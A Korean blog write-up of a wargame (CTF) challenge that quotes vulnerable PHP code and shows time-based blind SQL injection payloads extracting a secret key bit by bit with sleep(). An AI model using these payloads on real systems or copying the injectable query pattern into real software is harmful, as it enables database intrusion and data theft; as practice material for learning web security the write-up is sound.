후..시험기간이라 빠르게 풀고 다시 공부하려 했는데 대충대충 하는 습관때문에 하루종일 삽질을 하게 된 문제이다..
소스부터 확인해보자.
<?
$secret_key="????";
if(time()>1309064400) exit("오후 2시에 공개됩니다.");
if($_POST[pw])
{
if($_POST[pw]==$secret_key)
{
mysql_query("delete from challenge57msg");
@solve();
exit();
}
}
if($_GET[msg] && $_GET[se])
{
if(eregi("from|union|select|and|or|not|&|\||benchmark",$_GET[se])) exit("Access Denied");
mysql_query("insert into challenge57msg(id,msg,pw,op) values('$_SESSION[id]','$_GET[msg]','$secret_key',$_GET[se])");
echo("Done<br><br>");
}
?>
pw 컬럼으로 secret_key 가 insert 된다.
당연히 pw 컬럼안에 담기기 때문에 해당 컬럼을 공격해야하는데 secret 이라는 단어에 눈이 팔려서
자꾸 존재하지도 않는 secret_key 컬럼에 공격을 시도했었다..ㅡㅡ..
페이지를 살펴보면 메시지를 적는 부분과 비밀글 여부를 결정하는 부분이 있다.
그 아래 secret key를 입력하는 부분은 나중에 추출해낸 값을 auth 하는 부분으로 생각되므로
공격대상에서 제외하였다.
일단 메세지부분에 아무런 글이나 쓴 후 쿼리 전송 버튼을 눌러보자.
GET 방식으로 msg와 se 라는 변수를 통하여 날라간다.
화면에 특정하게 참/거짓 여부를 출력하지 않기 때문에 시간기반 Blind SQLi 를 시도해야한다.
아래와 같이 pw 의 글자수를 알아내었다.
?msg=a&se=if(length(pw)=10,sleep(1),0)
시간기반이므로 빠른공격을 위하여 몇일전 게시한 글의 방법을 통하여 진행하였다. (http://hides.tistory.com/247)
1) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),1,1)=0,sleep(1),0)
2) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),2,1)=0,sleep(1),0)
3) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),3,1)=1,sleep(1),0)
4) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),4,1)=1,sleep(1),0)
5) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),5,1)=0,sleep(1),0)
6) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),6,1)=0,sleep(1),0)
7) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),7,1)=0,sleep(1),0)
8) if(substr(lpad(bin(ascii(substr(pw,1,1))),8,0),8,1)=1,sleep(1),0)
00110001 즉 첫번째 값은 1이다. 해당 페이로드를 이용하여 공격을 시도하면 된다.
'Wargame(CTF)' 카테고리의 다른 글
itchy's Funny injection 풀이 (0) | 2014.06.18 |
---|---|
Challenge 13 (0) | 2014.06.15 |
Challenge 45 (0) | 2014.06.12 |
Challenge 51 (0) | 2014.06.10 |
Challenge 55 (0) | 2014.06.08 |